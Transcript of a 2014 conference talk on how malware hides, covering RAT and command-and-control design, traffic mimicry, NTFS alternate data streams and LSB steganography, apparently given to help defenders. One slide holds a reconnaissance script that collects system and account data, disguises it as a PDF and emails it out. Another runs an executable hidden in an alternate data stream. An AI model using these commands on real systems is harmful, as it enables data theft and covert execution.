CodeStock14: Hiding in Plain Sight

43
Hiding in Plain Sight Presented by / Rob Gillen @argodev This work is licensed under a . This talk and related resources are available online: Creative Commons Attribution 4.0 International License https://github.com/argodev/talks/

description

Presentation from

Transcript of CodeStock14: Hiding in Plain Sight

Page 1: CodeStock14: Hiding in Plain Sight

Hiding in Plain Sight

Presented by / Rob Gillen @argodev

This work is licensed under a .

This talk and related resources are available online:

Creative Commons Attribution 4.0 International License

https://github.com/argodev/talks/

Page 2: CodeStock14: Hiding in Plain Sight

DisclaimerThe content of this presentation represents my personal viewsand thoughts at the present time. I reserve the right to changemy views and opinions at any time. This content is not endorsedby, or representative in any way of my employer nor is itintended to be a view into my work or a reflection on the typeof work that I or my group performs. It is simply a hobby andpersonal interest and should be considered as such.

Page 3: CodeStock14: Hiding in Plain Sight
Page 4: CodeStock14: Hiding in Plain Sight

HTDCSHelpdesk Ticket Driven Cyber Security

Page 5: CodeStock14: Hiding in Plain Sight
Page 6: CodeStock14: Hiding in Plain Sight
Page 7: CodeStock14: Hiding in Plain Sight

Overview

RAT DesignEncryptionCommand/Control (C2)AntiVirusBehavior

Page 8: CodeStock14: Hiding in Plain Sight

RAT DesignExe is dropped via infected pageQueries web page for commandsPerforms commands if not done previouslyPeriodically polls for new commands

Page 9: CodeStock14: Hiding in Plain Sight

EncryptionComplex Encryption is trivialPBKDF – Scrypt sequential memory-hard functionMany iterations (> 10K)Long key-lengths

Page 10: CodeStock14: Hiding in Plain Sight

Encryption ExampleAbove configuration is custom-hardware resistantTakes approximately ¼ second per guess

Page 11: CodeStock14: Hiding in Plain Sight

Command/ControlUse Web2C ApproachCommands are “issued” en masse via normal, benign lookingweb pagesCommon portsLeverages existing HTML/server constructs

Page 12: CodeStock14: Hiding in Plain Sight
Page 13: CodeStock14: Hiding in Plain Sight
Page 14: CodeStock14: Hiding in Plain Sight
Page 15: CodeStock14: Hiding in Plain Sight

Command Text

ipconfig /all > %APPDATA%\info.txtnet start >> %APPDATA%\info.txttasklist /v >> %APPDATA%\info.txtnet user >> %APPDATA%\info.txtnet localgroup administrators >> %APPDATA%\info.txtnetstat -ano >> %APPDATA%\info.txtnet use >> %APPDATA%\info.txtcopy %APPDATA%\info.txt %APPDATA%\output.pdfdel %APPDATA%\info.txt

sendmail %APPDATA%\output.pdf Status Update “Jones, William E. [email protected][email protected] smtp.yourorg.gov

del %APPDATA%\output.pdf

Page 16: CodeStock14: Hiding in Plain Sight

Mimic User BehaviorTraffic RatesMonitor incoming/outgoing network traffic for X daysConfigure xfil to stay within X% of “normal”

C2Exponential/randomized stand-downOnly comm during periods of activity

Page 17: CodeStock14: Hiding in Plain Sight

Mimic User BehaviorTarget URLsMonitor outgoing web queries/URLs for X daysUse similar domain names for malicious trafficAppend similar/same query strings to malicious requests

Page 18: CodeStock14: Hiding in Plain Sight

Hiding in Logs

v-client-5b.sjc.dropbox.comsnt-re3-9a.sjc.dropbox.comyn-in-f125.1e100.netl1.ycs.vip.dcb.yahoo.comsnt-re3-9a.sjc.drpbox.comip-69-31-29-228.nlayer.neta23-47-20-211.deploy.static.akamaitechnologies.coml3.ycs.vip.dcb.yahoo.comir2.fp.vip.bf1.yahoo.comwww.nbcnews.com.edgesuite.netwac.946A.edgecastcdn.neta2.twimg.com

Page 19: CodeStock14: Hiding in Plain Sight

Other Hiding TechniquesOffice File content embeddingCreative locationAlternate Data StreamsLeast Significant BitNetwork Protocol Manipulation

Page 20: CodeStock14: Hiding in Plain Sight
Page 21: CodeStock14: Hiding in Plain Sight
Page 22: CodeStock14: Hiding in Plain Sight
Page 23: CodeStock14: Hiding in Plain Sight
Page 24: CodeStock14: Hiding in Plain Sight
Page 25: CodeStock14: Hiding in Plain Sight
Page 26: CodeStock14: Hiding in Plain Sight

Creative File Locations

Page 27: CodeStock14: Hiding in Plain Sight

Alternate Data StreamsFeature of NTFS since NT 3.5.1Used for metadata and compatibility with other file systems

Page 28: CodeStock14: Hiding in Plain Sight

So What?

#notepad pcast-nitrd-report-2010.pdf:secret.txt

Page 29: CodeStock14: Hiding in Plain Sight

What about this?

#type evil.exe > notepad.exe:evil.exe

#start notepad.exe:evil.exe

Page 30: CodeStock14: Hiding in Plain Sight

Crude Image Stego: LSBLeast Significant Bit – alter it and encode message acrossLSB through various bytesVisually imperceptibleComputationally challenging to detectEncryption also an option

Page 31: CodeStock14: Hiding in Plain Sight

LSB: How It Works

Page 32: CodeStock14: Hiding in Plain Sight

Carrier ImageImage Data:Size: 2.1 MBDimensions: 3500 x 2343 pxResolution: 300 dpiBit Depth: 24~ 8 Megapixel

“Secret” Message: Welcome! Remember, things aren’t always what they seem.

Page 33: CodeStock14: Hiding in Plain Sight
Page 34: CodeStock14: Hiding in Plain Sight
Page 35: CodeStock14: Hiding in Plain Sight

LSB Blow Up

Page 36: CodeStock14: Hiding in Plain Sight
Page 37: CodeStock14: Hiding in Plain Sight

Network Protocol Abuse

Page 38: CodeStock14: Hiding in Plain Sight

Challenges of Signature-Based Tools

Page 39: CodeStock14: Hiding in Plain Sight
Page 40: CodeStock14: Hiding in Plain Sight
Page 41: CodeStock14: Hiding in Plain Sight
Page 42: CodeStock14: Hiding in Plain Sight

Next StepsKnow what you can and can’t seeConsider implications of your monitoring strategyBehavior *must* play a role

Page 43: CodeStock14: Hiding in Plain Sight

Questions/ContactRob [email protected]://rob.gillenfamily.net@argodev

This talk and related resources are available online:https://github.com/argodev/talks/